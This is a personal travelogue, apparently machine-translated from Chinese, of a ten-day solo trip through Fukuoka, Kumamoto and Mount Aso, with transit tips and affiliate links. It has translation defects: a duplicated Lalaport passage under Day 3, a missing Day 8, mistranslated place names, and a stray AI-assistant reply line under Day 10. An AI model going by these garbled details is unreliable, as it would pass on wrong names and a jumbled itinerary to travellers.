You will pass by an ice shop on the way, selling fruit ice, you can buy one to cool off; the boatman will also give each person an ice pack to cool down (very thoughtful).

I chatted with the Taiwanese family’s father who was in front of me all the way, and in the end, I even got a business card.

After getting off the boat, I couldn’t find a free shuttle seat, and I ended up queuing for the wrong queue and was refused to board the shuttle (not the West Rail Pass); you need to study the boarding point on the map (Chuanliu Shipyard (Chongzhinan)) or ask directly for a faster way.

I later walked to take the bus back to the West Rail Yanagawa Station.

Dazaifu

From Yanagawa to Dazaifu, you need to transfer to the train to Dazaifu at Futsukaichi Station (to another platform).

Travel time: about 1 hour

Take the Tabito-go train to Dazaifu, via Gojo (2.5 Go QQ); it’s a bit like going from Beitou to Xinbeitou, just one train back and forth.

There is a section in the middle of the train that displays artifacts from Dazaifu and you can write postcards, you can go take a look.

Dazaifu Station is also beautiful, and the Lawson outside has a very Japanese vibe.

On the right side of the exit is the only pentagonal (Japanese qualified) bowl Ichiran Ramen in the world.

After eating ramen, try a plum branch cake, which is not really related to plums, more like red bean grilled rice cake, it tastes better when the skin is freshly made!

I forgot to exchange the return voucher given by the West Rail Pass, spent 150 yen to buy one myself; seeing that the expiration date is only one day, I couldn’t bring it back to Taiwan.

Continue along Omotesando towards Dazaifu and you will pass by one of the most beautiful Starbucks in Japan, the space is quite large but crowded, so I left without stopping.

The bridge leading to the shrine should be quite nice to take photos at night + fewer people, too many people make it difficult to take good photos.

After visiting, return to Dazaifu Station and head back to Fukuoka Lalaport.

Fukuoka Lalaport

Similarly, return to Nijinomachi from Dazaifu Station and transfer to a train bound for Hakata. Get off at Ohashi (Fukuoka), go left after exiting the station to find the direct bus to Lalaport. Hop on, and you will arrive at Fukuoka Lalaport after one stop.

Total travel time: about 50 minutes

Upon arrival, you will see the huge Fukuoka Gundam outside.

Lalaport is large, great for shopping, and suitable for families. There is a large playground upstairs where children play and people rest.

Upstairs, there is a Jump Shop selling merchandise related to Shonen Jump Weekly, including Haikyuu!!, One Piece, Hunter x Hunter, Jujutsu Kaisen, Chainsaw Man, and more. I bought some Jujutsu Kaisen merchandise.

If you spend over 5000 Japanese Yen, you can get a tax refund, but it seems to be refunded through their app or something, a bit complicated, and food is not included.

Go to the food street and have a Miyazaki beef bowl. Before leaving, I bought some snacks to take back (curry bread, like Mizuhoan daifuku).

The Gundam that lights up at night is quite impressive.

For the return direct bus, do not take it from where you originally got off. Follow the signs inside the building and take the bus directly from the bus stop inside the building.

Return to the hotel to rest, using a tablet (the TV is too old and lacks smart functions). The curry bread is crispy and delicious, with meat filling inside, and the daifuku is good too, but I prefer Benzaiten.

Day 3 Moji Port, Kokura Castle, Canal City Hakata, Nakasu Yatai

In the early morning, head to Hakata Station again, take the JR to Moji Port, and then return to Kokura Castle.

[_KKday Itinerary Reference: Japan Fukuoka Kitakyushu One-Day Charter TourDazaifu Tenmangu Shrine, Moji Port, Karato Market, Kanmon Strait, Akama Shrine_](https://www.kkday.com/zh-tw/product/157874?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}

Upon arrival, you will see the huge Fukuoka Gundam outside.

Lalaport is large, great for shopping, and suitable for families. There is a large playground upstairs where children play and people rest.

Upstairs, there is a Jump Shop selling merchandise related to Shonen Jump Weekly, including Haikyuu!!, One Piece, Hunter x Hunter, Jujutsu Kaisen, Chainsaw Man, and more. I bought some Jujutsu Kaisen merchandise.

If you spend over 5000 Japanese Yen, you can get a tax refund, but it seems to be refunded through their app or something, a bit complicated, and food is not included.

Go to the food street and have a Miyazaki beef bowl. Before leaving, I bought some snacks to take back (curry bread, like Mizuhoan daifuku).

The Gundam that lights up at night is quite impressive.

For the return direct bus, do not take it from where you originally got off. Follow the signs inside the building and take the bus directly from the bus stop inside the building.

Return to the hotel to rest, using a tablet (the TV is too old and lacks smart functions). The curry bread is crispy and delicious, with meat filling inside, and the daifuku is good too, but I prefer Benzaiten.

Arrived at Moji Port without any surprises or dangers (worried about being fined).

Walking out of the station is Moji Port, usually deserted; happened to catch the Blue Wing Moji Suspension Bridge being lowered.

After it’s lowered, you can walk to the observation tower at the back and overlook the entire Moji Port.

Coming out of the tower, you can take a walk around Moji Port.

For lunch, try the famous curry in Moji Port.

Kokura Castle

Moji is very close to Kokura, but Kokura is a small station, quite desolate when you exit, got lost looking for the entrance to Kokura and ended up circling a big round, when in fact the entrance is on the side of the Mall outside Kokura.

Kokura Castle is small, with quite a few things to see inside, just that the view from the main keep is quite ordinary (you can see the Mall from the front).

After visiting, return to the station and take a train back to Hakata, obediently taking the JR, but as it’s a small station, only local trains are available, so it took more than an hour to slowly return.

Canal City Hakata

Returning to Hakata with time to spare, went to Canal City Hakata and wandered around the city center.

Didn’t check specifically, thought it was some kind of “castle” or “moat”, turns out it’s a department store XD, indeed with a “moat” and water fountain performances.

There are plenty of places to shop around here, including a Jump Shop.

Still early, wandered around and ended up eating Hakata Gion Teppan Gyoza.

The skin is crispy, with soup inside, very delicious; due to the language barrier, the waitress was cute and gestured with her hands and belly to indicate 2 portions (1 portion only has 8 pieces, you need 16 pieces to be full), didn’t catch on at the time, so only ordered one portion + Hakata’s famous Meitai.

Nakasu Yatai

Image

After eating, I took a stroll through the Nakasu food stalls before it got dark.

It was still early, so I first went to explore the Tenjin Parco department store and planned to come back to see the night view later.

Upstairs, there was Animate, and I got the first draw of the gachapon and got Gojo from Jujutsu Kaisen.

The night view of the Nakasu food stalls gave off a festive atmosphere.

The flashy Japanese advertising signs were eye-catching.

The Nakasu food stalls are roadside eateries on this side, bustling with people; they offer ramen, oden, and grilled food, but nothing particularly caught my attention, so I didn’t go in to eat.

Returned to the hotel to drink and have a late-night snack for rest.

Day 4 Visit to Sumiyoshi Shrine, Kushida Shrine, Tenjin Underground Street, Fukuoka Tower, Fukuoka SoftBank Hawks Baseball Game

A day of walking in Fukuoka, starting by visiting the nearby Sumiyoshi Shrine after leaving the hotel.

Sumiyoshi Shrine

It’s small, so if it’s not nearby, you probably wouldn’t go out of your way to visit.

Passed by Hakata Canal City again on the way to Kushida Shrine.

Saw where the food trucks were parked in the morning, so small and cute.

Kushida Shrine

Kushida Shrine is relatively large, and I also drew a fortune slip. Seeing “suddenly successful in job hunting” gave me hope for my job search.

There were floats displayed for the Hakata Gion Yamakasa Festival, very grand and spectacular.

Continuing the walk in Fukuoka, at noon, walked to Hakata Miyachiku (Japan’s No. 1 Miyazaki Beef Specialty Store Hakata Miyachiku) to taste Miyazaki beef.

This Miyazaki beef steak with beer costs around NT$650, delicious and affordable! The Miyazaki beef was juicy and had no strange smell.

Tenjin Underground Street

After lunch, I wandered around Tenjin Chikagai and Tenjin Underground Street, bought souvenir cookies and cakes, and also went to the supermarket to try the popular seedless muscat grapes on skewers.

While wandering in Tenjin, I encountered the wild Kumamon Chief.

First, return to the hotel to drop off the souvenirs purchased + rest for a while before heading to Fukuoka Tower + watching a baseball game.

Fukuoka Tower

Take a bus from the city to Fukuoka Tower.

[_KKday Japan KyushuFukuoka Tower E-Ticket_](https://www.kkday.com/zh-tw/product/18813-japan-fukuoka-tower-e-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}

Fukuoka Tower’s full mirror design looks beautiful from the outside, I think it’s even more beautiful than the Tokyo Skytree!

(Thanks to a passerby sister for taking the photo)

However, because the tower is located on the outermost side of the city facing the sea, the view from the top is average; not sure how the night view is.

After leaving Fukuoka Tower, slowly walk to the next stop, Fukuoka PayPay Baseball Stadium, with a taste of the sea.

Fukuoka SoftBank Hawks Baseball Game

Many people (probably about 70% full), but tickets are still available on-site.

Ticket Buying Episode

When buying tickets, I encountered an elderly man at the counter who was nervous and shaking because he couldn’t understand the language of a foreigner; I also got nervous XD; in a moment of confusion, I chose the last row in the middle of the front viewing platform (with people on both sides), which turned out to be super awkward, having to excuse myself all the way in and out, and the seats were very small, squeezed in between Japanese people, not knowing a word of Japanese, very awkward… Sat through the entire game in a serious and awkward manner.

Ticket price is almost $1,500 TWD, thinking I should have bought the cheapest lousy seat to watch comfortably on my own.

I must say the visual effects of the dome (very close to the baseball field), and the entire large screen animation display are very good.

The traditional cheerleading of the Fukuoka SoftBank Hawks team involves inflating balloons (using a manual pump) in the 7th inning and then releasing them, as for the trash… it’s left unattended and someone will clean it up later.

The home team won 4:2 in the end, more exciting than the CPBL, with pitchers throwing at speeds around 145km per hour, each inning had both offense and defense, very few three-up-three-down innings; but the pace of the game was fast and comfortable to watch.

However, in terms of cheerleading, Taiwan is still richer than Japan.

Fukuoka PayPay Dome Home Victory Indoor Fireworks

Indoor fireworks are set off in the dome after a home victory, very cool!

Bought a SoftBank Hawks towel as a souvenir of the visit, also relieving the embarrassment of not being able to enter the Hanshin Tigers Koshien Baseball Stadium last time due to sold-out tickets.

The venue was crowded, but everyone didn’t stand too close and walked slowly. We followed everyone to the nearest Tangren Street subway station because it felt like a long wait for the bus.

Image 1

Image 2

Back to the hotel to rest and taste the seedless muscat grapes bought in the afternoon, very sweet, a bit too sweet.

Day 5 Kumamoto (Kumamoto Castle, Tsuruya Department Store)

Early in the morning, check out and stroll around the pharmacy near the hotel.

Image 3

Found nothing special, had a McDonald’s breakfast (McMuffin with egg and iced Americano for $107) and came back to pick up luggage to take the JR to Kumamoto.

Image 4

Image 5

Finally said goodbye to this hotel. The lobby had Fukuoka SoftBank Hawks dolls, and outside there was a Taiwanese flag hanging, quite impressive because next door was a friendship convenience store run by Chinese people, with many Chinese customers.

Fukuoka Hakata -> Kumamoto

Reserved seats at the station’s electronic machine. Thought it was a bit far, so reserved a seat with luggage.

Image 6

Image 7

Follow the instructions to reserve a seat:

  1. Select language first, select language first, select language first (otherwise cannot be changed after inserting the ticket card, have to start over)
  2. Insert JR Pass ticket card
  3. Select departure and arrival stations (search by English station name)
  4. Select train and seat
  5. Complete

Image 8

If there are any issues, there are station staff available to ask. Originally, there was a train departing in 15 minutes with no seats, so had to buy tickets for another train departing in 45 minutes.

But it was okay not to buy that train. Walking from Hakata Station to the Shinkansen platform heading to Kagoshima (via Kumamoto) took about 10 minutes, a bit far to go around, too rushed.

Managed to use the JR Pass on the last day before it expired.

Image 9

Originally worried that my 27-inch suitcase (about 69 x 50 x 29 cm) might not fit in the overhead luggage rack and had to buy extra-large luggage with a seat, it is required to buy if it exceeds 160 cm on three sides.

The 27-inch suitcase was a bit tight when placed vertically and could block the neighboring seat; when placed in the luggage rack, it was stable, but still had to lift it up to place it. Buying a window seat was a concern as it might block the aisle when taking or placing luggage; fortunately, a kind Japanese man offered to switch seats to help with the luggage.

Image 10

Image 11

Upon arrival in Kumamoto, saw a huge Kumamon bear, then transferred to the JR & subway to the hotel to store luggage (Municipal Gymnasium-mae Station).

Kumamoto is full of Kumamon bears everywhere…

Kumamoto Castle

Image 12

After settling in the hotel, took the tram to Kumamoto Castle (to Torichosuji Station).

You can first visit Sakura no Babajo Castle Saien (forgot to take photos) below to replenish energy. You can buy Kumamoto Castle tickets here. There are not many people here, but when you go up to the entrance of Kumamoto Castle, you will encounter many groups blocking the way.

Ticket options: Kumamoto Castle 800, Kumamoto Castle + the building behind it after buying a ticket (Historical and Cultural Experience Yuyuza) 850, Kumamoto Castle + the building behind it after buying a ticket (Historical and Cultural Experience Yuyuza) + Kumamoto Museum 1,100.

I bought Kumamoto Castle + Yuyuza, thinking it was only an additional 50 yen, but after looking around, it was average. It provided more information on the exhibits inside Kumamoto Castle and earthquake-related artifacts, suitable for photography and experiencing.

Image 13

Kumamoto Castle’s main tower has been restored and opened to the public in 2023, while other buildings are still under maintenance (you can see the crane).

The new addition is a skywalk directly planned to lead all the way to Kumamoto Castle.

After ascending the main tower, you can see the skywalk you walked along.

Overlooking the square in front of Kumamoto Castle and the historical sites still under continuous maintenance behind.

A model depicting the situation after the earthquake.

A souvenir shop next to the square houses a model of Kumamoto Castle, completing my mission of collecting the three major famous castles!

Returning to the ticket booth, I visited Yuyu-za; inside, there are models of Kumamoto Castle and a Kumamoto Castle made of LEGO, very cool.

Due to the unfavorable weather, I didn’t continue to the museum or Kato Shrine.

Walking back to Toricho-sujin Station, this is where the covered shopping street and the local Tsuruya Department Store of Kumamoto are located. The first floor of the east wing of the department store was completely renovated a few months ago to become Kumamon Square (Kumamon’s office).

While wandering around the shopping street, I happened to come across a public event featuring Kumamon x Traffic Safety and received a Kumamon tote bag.

This area is not very interesting to explore; only Tsutaya Bookstore and the Muji building are worth visiting. When you get off at Kumamoto Station, you can feel that there are many elderly people and few young people. The local Tsuruya Department Store is mostly frequented by elderly people, selling mostly women’s clothing and household items, with fewer items for young people.

I bought some Kumamon merchandise at the Kumamon specialty store in Tsuruya Department Store, then went to the underground street of the department store to buy alcohol and food (dinner + supper) to eat back at the hotel.

The fragrant dew is a Kumamoto local sake recommended by the store, sweet and smooth to drink, but I feel the rice flavor is not strong. Green Rich Hotel Suizenji 2023/09

It is worth mentioning the hotel, in the past, I actually wouldn’t pay much attention to reviews; as long as it’s around 3 stars or above, it’s fine; the soundproofing of this one is not good, and I encountered a whole floor of elementary school graduation trips, with doors opening and closing loudly day and night for two consecutive days, very disturbing.

After checking the detailed reviews on Google/Agoda, I feel somewhat disheartened.

Poor soundproofing seems to be a common problem in old hotels, which I can tolerate (I brought earplugs myself); but as mentioned in previous reviews, the hotel’s WiFi is just a sham.

The WiFi signal is available throughout the hotel, but even with a full signal in the room, the speed is still very slow, websites won’t load, you have to stand by the door to get a normal internet speed, it’s almost like the hotel has no internet.

The price is not attractive either, it’s better to stay in Fukuoka, for the same price, you can stay at APA in Fukuoka.

After this experience, I now know that even for Japanese hotels, it’s important to check the reviews…

Apart from the convenience of being close to the airport, there are no other advantages, and there are no convenience stores nearby (you have to walk for more than 10 minutes to find one).

Day 6 Suizenji Jojuen Garden, Kumamon Square Performance, Hanabata Plaza, Sakura-machi Shopping Center

In the morning, I went straight across to Suizenji Jojuen Garden.

[_KKday Reference Itinerary: Kyushu Kumamoto Day TourAso Nakadake Volcano, Kusasenri, Kumamoto Castle, Suizenji Jojuen Garden/All-you-can-eat Seasonal FruitsDeparting from Fukuoka Hakata (Chinese, English, Japanese)_](https://www.kkday.com/zh-tw/product/38965?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}

Suizenji Jojuen Garden (Izumi Shrine)

It has a bit of a feeling of the Banqiao Lin Family Garden, very well maintained inside, clear water, a small Mount Fuji, Izumi Shrine, very fat koi, and a cat.

Kumamon Square Performance

After visiting, take the streetcar to Mizutamachi and head to Kumamon Square (visited yesterday).

Inside, there are Kumamon Chief souvenirs for taking photos, and outside, there is a monitor to see what’s happening inside.

Since it was still early at 11 a.m., before the performance time, I went to find food at the neighboring Tsuruya Department Store.

You can refer to the performance schedule on the Kumamon Square official website (times may vary, but there are usually three performances on Saturdays).

Passing by the Tsuruya Department Store, I also found a Chief sadly playing the piano on the first floor.

I went to B1 to eat the locally famous Hachimitsu Manju, which is a thick wheel cake with either white bean or red bean filling, sweet lovers will love it, and it’s a great breakfast with coffee.

I returned to Kumamon Square just before 11 a.m. to wait for the performance, now there’s no need to draw lots, as long as you enter before the performance, you can go in, if you’re late, you may have to watch the monitor outside, if you have children, you can sit inside.

Before the performance, the order rules will be explained, for example: you cannot pat Kumamon, do not hold the camera too high (it will block the view behind), according to Japanese law, if there are faces, they must be pixelated, and everyone is welcome to upload to SNS.

The performance lasts about 30 minutes. The hostess will help Kumamon speak (all in Japanese). The process is roughly to greet everyone, talk about interesting things in Kumamoto, dance (the above song is very catchy), and say hi to people from different countries (Taiwanese people are the majority here).

Kumamon is very cute and has big, interesting movements.

There are fewer peripheral products sold in the square, and the prices are relatively high, so I didn’t buy anything here.

After watching the performance until close to noon, walk down the shopping street to eat at Shouritei Shinshigai Honten; walking outside the shopping street, suddenly upgraded from a children’s level to a restricted level, with rows of free guides (the other side is Kumamoto Ginza Street as well).

The super thick Jucie pork cutlet rice is special because it comes with their pickled vegetables (shared, self-serve, remember to use the red chopsticks). Other than that, it’s similar to eating Japanese pork cutlet in Taiwan. They will give you a grinding stick and sesame seeds to make the sauce; rice, tea, soup, and cabbage are all free for refills; I ate two bowls of rice in one go and felt very satisfied.

Hanabatake Square

After eating and drinking, continue walking down the shopping street towards Hanabatake Square.

There happened to be an event at the square on Saturday, Food Summit 2003, with food stalls all around, and a stage in the middle for performances.

I bought a glass of sparkling wine and a grilled sausage to sit down and watch the performance. The sausage wasn’t as fragrant and delicious as in Taiwan.

Halfway through eating, something fell from above, which was a bit scary, but it added to the atmosphere. Later, it got too hot, so after eating, I left and went to the Sakuramachi Shopping Center to browse the department store.

Hanabatake Square seems to have events every weekend. You can check before coming. Next week is the Taiwan Festival!

Sakuramachi Shopping Center

On the top floor, there is a waving Kumamon, and on the second floor, there are also Kumamon merchandise for sale (I think it’s the most complete).

There are also Kumamon performances here, so check the announcement for the schedule.

You can go up the outside stairs all the way to the top floor to find the waving Kumamon. This building also serves as the Kumamoto Bus Center downstairs, where you can buy tickets on the second floor to go to other cities.

There is a large garden on the rooftop, a pool for playing in the water, and children can go up to play.

You can also take the escalator from inside to go up. From the third floor’s Josaien (this Josaien is completely empty), you can find the escalator mentioned online.

Personally, I think the Sakuramachi Shopping Center is better and more enjoyable than the Tsuruya Department Store.

The Sakuramachi Shopping Center is next to the Kumamoto Prefectural Products Hall. In addition to Kumamoto’s specialties, there are also some Kumamon-related products (e.g., Kumamon incense burner XD).

I walked through the Up+Down Shotengai again on the way back.

I bought clothes and miscellaneous items at Muji, and replenished my skincare products at Matsumoto Kiyoshi (for some reason, my Visa card doesn’t work at Matsumoto Kiyoshi, I had issues in Tokyo before, and this time in Kumamoto, I could only use Japanese yen in cash).

When I arrived at the hotel in the evening, I had dinner at Lawson on the way and went to bed early to prepare for visiting Mount Aso tomorrow!

Day 7 Mount Aso, Kusasenri, Aso Shrine, AMU PLAZA KUMAMOTO

[_KKday Reference Itinerary: [One-person group, daily departure] Japan Kumamoto Day TourKumamoto Castle & Mount Aso Volcano Crater & Kusasenri (including Health Buffet All-you-can-eat)Departing from Fukuoka_](https://www.kkday.com/zh-tw/product/21811-kumamoto-tour-josaien-mount-aso-kumamoto-castle-hot-spring-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}

I left early and walked to the bus stop to take the intercity bus to Aso Station; I met Kumamon while waiting for the bus.

We will pass by Aso Airport (I will be there the day after tomorrow Orz).

On the way, when entering the area of Mount Aso, the bus will introduce Mount Aso and play local mountain songs for you to imagine strolling on the grasslands of Mount Aso together.

Upon arrival at Aso Station, there is a statue of Usopp from One Piece outside the station for taking photos (I forgot).

You can buy a one-day pass for Mount Aso at the vending machine here (probably a few hundred yen cheaper) and get the timetable. The one-day pass is only valid for boarding and alighting at the three stations on the timetable. You need to draw a boarding ticket when boarding; it seems that it cannot be used at other stations.

I will take the No. 8 route, the bus to go up the mountain at 10:45.

Time to go up the mountain: about 40 minutes.

Not too many people, almost time to board the bus after a short wait in line, everyone got on; however, for safety reasons on the mountain road, there are no standing seats; and if you are prone to motion sickness, you may need motion sickness medication.

There is also a helicopter experience tour in Aso, where you can directly take a helicopter to see the volcano, those interested can check it out.

Mount Aso

Kami-komezuka

Kami-komezuka

When you go up the mountain, you will pass through Kusasenri before reaching the mountain terminal. From the mountain terminal, take another bus for about 10 minutes to reach the summit of the mountain.

Coincidentally, I met a colleague from TSMC next door who was also traveling alone (on a business trip XD). It was both our first time in Aso, so we decided to explore together.

At the mountain terminal, we were too lazy to wait for the bus, so we chose to walk up the mountain (about 15-20 minutes).

Walking to the mountain square, you will reach the fourth crater of Aso Nakadake.

Having a travel companion makes taking photos much easier!

The mountain top is cool and not hot at all, filled with the smell of sulfur. If you have any health conditions like in picture three, consider your physical condition.

We didn’t make it all the way to the Aso Nakadake crater, just went up to take a look and then descended the mountain.

Side Story

After chatting happily all the way down, we didn’t pay attention to the bus direction, and when it was about to leave, we hurried to get on, only to be taken back up again. So, we had to walk back down XD

At the mountain terminal, we made sure to take the No. 8 bus, the No. 8 bus, the No. 8 bus, heading to Aso Station downhill; get off at Kusasenri.

Kusasenri

Enjoyed the famous Oka Gyudon, the place was crowded but had plenty of seating, and the food was served quickly, almost no waiting time.

After eating, we strolled around Kusasenri (with a bit of Grand Canyon vibe), where there were horse riding activities.

After eating, we took the same No. 8 bus back to Aso Station, retracing our steps downhill.

Aso Shrine

When we arrived at Aso Station, the JR train to Aso Shrine (Midori Station) was about to depart in three minutes. If we missed it, we would have to wait another hour. We ran to the station, only to find out that Aso is a small station without electronic payment, so we had to buy tickets from the vending machine in a rush before boarding.

Aso Station has only one platform, so you can board without much hassle. Later, we found out that if you really don’t have time to buy a ticket, you can board first and then purchase one when you get off.

After getting off at Midori Station, it took about 20 minutes of walking to reach Aso Shrine (straight ahead, but a bit far).

On the way, we encountered the wild Kumamon bear.

The shrine is not very big, and we finished paying our respects quickly; part of the shrine was also under maintenance.

After leaving, there was a small shopping street nearby where you could buy some snacks and take a short break.

Thanks to my colleague for treating me to fried beef and potato cakes.

Feel free to ask if you have any questions.

After finishing the visit, we started to walk back slowly. We originally planned to take the 15:47 JR train back to Kumamoto, but when we walked back to Miyagi Station, we found out that it was a reserved seat-only train, with no available unreserved seats and all seats were sold out, so we couldn’t board.

Attached is the timetable, or please check the schedule first; otherwise, you might end up like us, having to wait for an hour for the next 16:35 local JR train back to Kumamoto.

Image 1

Image 2

Since there was still plenty of time, we walked back and strolled around Matsumoto on the way. (It’s actually quite far, about 10 minutes).

Finally, we took a last look at the peaceful Aso.

Image 3

Image 4

Image 5

The local train slowly made its way back to Kumamoto, taking about 1 hour and 45 minutes to arrive.

Image 6

There is a section of the route that zigzags and involves reversing, so don’t worry, you’re on the right train!

AMU PLAZA KUMAMOTO at Kumamoto Station

Back at Kumamoto Station, we bid farewell to my brother, hoping to meet again someday.

Image 7

Image 8

Image 9

Image 10

We explored the newly opened AMU PLAZA KUMAMOTO department store at Kumamoto Station (larger and more diverse than the Sakuramachi Shopping Center) and the nearby Higo Market (selling food).

We also found many Kumamon mascots XD.

Image 11

Image 12

We had a casual dinner at the food street, tried the Miyazaki chicken (ordinary), toured the entire building, bought some late-night snacks, and Kumamoto-produced strawberry wine (tasted good, planning to bring back to Taiwan) before returning to the hotel.

There was a unique store called “BIWAN Beauty Bay” selling Taiwanese products (even saw some “Gua Gua” snacks XD), and upon checking, it’s opened by Taiwan’s Ayuan Soap.

Image 13

While researching, I found a cool website - https://kumataiwanlife.com/ - which provides the latest news, events, and fun facts about Kumamoto in Chinese (e.g., Kumamoto’s “OK Band-Aid” is called “LIBATAPE”).

Image 14

Today, I discovered that the vending machines at the hotel actually sell canned cola, which I couldn’t find in the major convenience stores.

It’s a collaboration between Suntory and Pepsi, not available in Taiwan. It’s made like draft beer but for cola, very fizzy, not too syrupy, unlike regular cola that I usually can’t finish due to being too sweet, but I could finish this draft cola!

After a satisfying meal, we went to bed early, preparing to welcome the last day in Kumamoto (excluding the day of the return flight).

Day 9 Kumamoto Wanderings and Shopping

The third day in Kumamoto was quite boring as we had already visited all the attractions. We tried to find some places to explore and buy souvenirs and cosmetics.

I originally planned to go to Shimabara City, but the journey was too far (2 hours and 45 minutes one way), and my JR Pass had expired. I would have to spend more money on a long-distance bus ticket, so I gave up. Oita and Yufuin were also too far, so I gave up. I was too lazy to go to Minami Aso Village, so I left it for next time. Therefore, I wandered around the city and did some shopping, taking it slow.

Kumamoto Inari Shrine

Early in the morning, I went to the Teramachi Street and visited the Kumamoto Inari Shrine that I didn’t get to visit on the first day.

Katō Shrine

I walked further back to the Katō Shrine (it’s quite far, about a 20-minute walk with a hilly road).

Turning up the hill, you will reach the Katō Shrine. From there, you can also see the area under repair that I saw from the castle tower on the first day, with many scattered walls waiting to be restored one by one.

It’s small, and half of it is still under repair.

There was a small Kumamoto earthquake donation box. I didn’t offer prayers at the Katō Shrine; instead, I donated to the box.

From here, you can see Kumamoto Castle from the back.

After returning, I went to the Kumamoto City Hall (the 14th floor has a free observation deck). The walk from the Katō Shrine to the city hall is quite far, so you can take a bus.

I originally planned to visit the Kumamoto Art Museum, Craft Museum, etc., but they were all closed on Mondays!

Kumamoto City Hall

From the 14th floor of the Kumamoto City Hall, you can overlook the entire city, including Kumamoto Castle.

Coming out of the city hall, walk towards the Sakuramachi Shopping Center. You will pass by a pedestrian bridge, which is a great spot for photos, capturing the Kumamoto street and subway.

This intersection is Kumamoto Ginza Street, where there are also free information centers.

Sakuramachi Shopping Center

I went back to the Sakuramachi Shopping Center for shopping, had another meal of Miyazaki beef with Kumamoto beer, and bought a Kumamon daifuku as a souvenir to bring back to Taiwan (so cute).

Don Quijote

I walked back from Shimo-tori to Kami-tori to return to Teramachi Street, stopping by Don Quijote for shopping (the duty-free counter is on the second floor for payment).

After shopping, I decided to head back to the hotel to rest and drop off my things.

Side Note On the tram, I met some cute elderly people from Kumamoto. Pointing to the transparent bag of duty-free instant noodles, they said, “Sukoshi ikkai,” and I replied, “Good! Good!” Then, I showed them the Kumamon daifuku I had just bought and said, “Kawaii ne~” They gave a thumbs up and said, “Kawaii, arigato.” I then said, “I am Taiwanese,” and the elderly lady seemed to greet me in Japanese (my Japanese is too poor to understand, I only caught something about genki). I responded politely, and when I got off, I bid them goodbye.

Upon returning to the hotel and opening the curtains for the first time, there was the Mizukami Temple basin behind; the scenery was actually quite nice, and you could hear insects at night.

After resting for a while in the afternoon with nowhere else to go, I randomly visited some spots on the map.

Luffy Statue

Walked to the front of the Kumamoto Prefectural Government first to find the Luffy statue.

Kengun Shrine

Took a bus and walked to Kengun Shrine; a small shrine, almost no one there as it was close to closing time.

There was no direct bus here, had to walk a short distance (about 15 minutes); after leaving the shrine, continued walking towards “Kumamoto Zoo” (about 20-30 minutes) to find the Chopper statue.

Chopper Statue

Saw a Sergeant Frog manhole cover on the way (seems to be from a previous event).

Found the Chopper statue at the entrance of the zoo.

Checked beforehand that Kumamoto Zoo seemed quite boring, so didn’t specifically plan to go in; it was already closed in the evening.

Side Story Met a Taiwanese family at the zoo entrance who wanted to take photos, so I helped them; the next day at the airport, I met them again and took another photo with them and the airplane. The younger brother called me the “photo-taking brother” XD.

Continued walking on the map to the Mizukami Temple basin’s Egawa Lake Park, took a look on the way; discovered it was just a riverside park for locals to exercise, so took a bus directly back to the hotel (or the bus terminal).

Ashiyan Ramen

Had dinner at an izakaya near Shin-Mizukami Station.

Dined with former colleagues (from a tech company, later worked at Books.com and appeared on the cover of Line News, a.k.a. Books.com Goddess Irene Yu).

It was so touching to have dinner with familiar people in a different place, especially since I had been quite withdrawn for several days (not understanding Japanese, hardly speaking), and in the end, I even received a Beppu souvenir 😭.

Ate too quickly, only remembered the chicken wings were delicious, also tried the horse meat skewers (Kumamoto horse sashimi is famous, but I was too scared to try); the landlady was very friendly, but the menu was all in Japanese, and the font was hard to decipher with translation software, so I could only guess XD.

After dinner, walked back to the hotel (about 15 minutes), then strolled through the streets of Kumamoto, bought ice cream and sweet sake at Lawson and FamilyMart (thought it was sake, but turns out sweet sake is a nourishing summer treat).

Also bought breakfast for the next morning (melon bread + juice) and this fruit juice with pulp from FamilyMart (melon, strawberry…) was really delicious, I almost always bought it when I saw it, the pulp inside was sweet and tasty.

Day 10 Return Journey

I have translated the content into English as per your instructions. Let me know if you need any further assistance.

Upon disembarking the plane, I noticed the person in front of me was wearing a helmet. Are they riding a motorcycle to take a flight? 🤣

Arrived at Taoyuan Airport, heading home!

When picking up luggage, there was a slight delay possibly due to early check-in; had to wait a bit before it arrived. Also tested the Airtag locating feature, it made a sound when the luggage was close!

Back in Taiwan, saw Kumamon on the road again XD (seems to be a new card promotion for E.SUN Bank).

Additional Notes on Riding Buses and Trams in Japan

  • Ticket with number = There is a small machine at the door where you can draw a ticket (similar to drawing a number tag) when boarding.
  • Some routes have a fixed fare and may not require a ticket with a number.
  • If using electronic payment (Suica), you don’t need to draw a ticket, but be careful not to have a negative balance (different from Taiwan).
  • Buses and trams do not give change, but you can exchange money at the coin machine on board (located where you pay the driver).
  • Mostly board from the back and alight from the front.
  • Japanese buses wait for passengers to sit down before departing and wait for passengers to alight before moving; so it’s fine to stand up when reaching your stop, no need to push forward before arriving (different from Taiwan).
  • When alighting, check the number on your ticket and pay the corresponding fare:

Bus Riding Rules in Japan: Don’t Worry About Taking the Bus! Complete Guide

That concludes the entire record of my 10-day solo trip to Kyushu, with summaries/Retro written earlier. Thank you for reading.

KKday Promotion

  • [Japan JR PASSKyushu Area Rail PassNorthern Kyushu & Southern Kyushu & All KyushuE-Ticket](https://www.kkday.com/zh-tw/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • [Nagasaki, JapanHuis Ten Bosch Ticket](https://www.kkday.com/zh-tw/product/3988-japan-nagasaki-huis-ten-bosch-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • [Nagasaki Day TourGlover Garden, Oura Tenshudo & Nagasaki Atomic Bomb Museum, Peace Park & Inasayama Night View (One of the World’s Top Three Night Views/Includes Round-Trip Cable Car)Optional Huis Ten Bosch Fireworks PlanDeparting from Fukuoka/Chinese Group](https://www.kkday.com/zh-tw/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}
  • One-stop shopping for Kyushu attractions, tickets, and experiences: “One-day Kumamoto, one-day Takachiho, one-day Aso/Kusasenri, one-day Miyazaki itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu boat ticket package, Taipei-Fukuoka flight, flight plus hotel

[2024 Update] Second Visit to Kyushu

More Travelogues

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 9/11 Nagoya One-Day Flash Free Travel

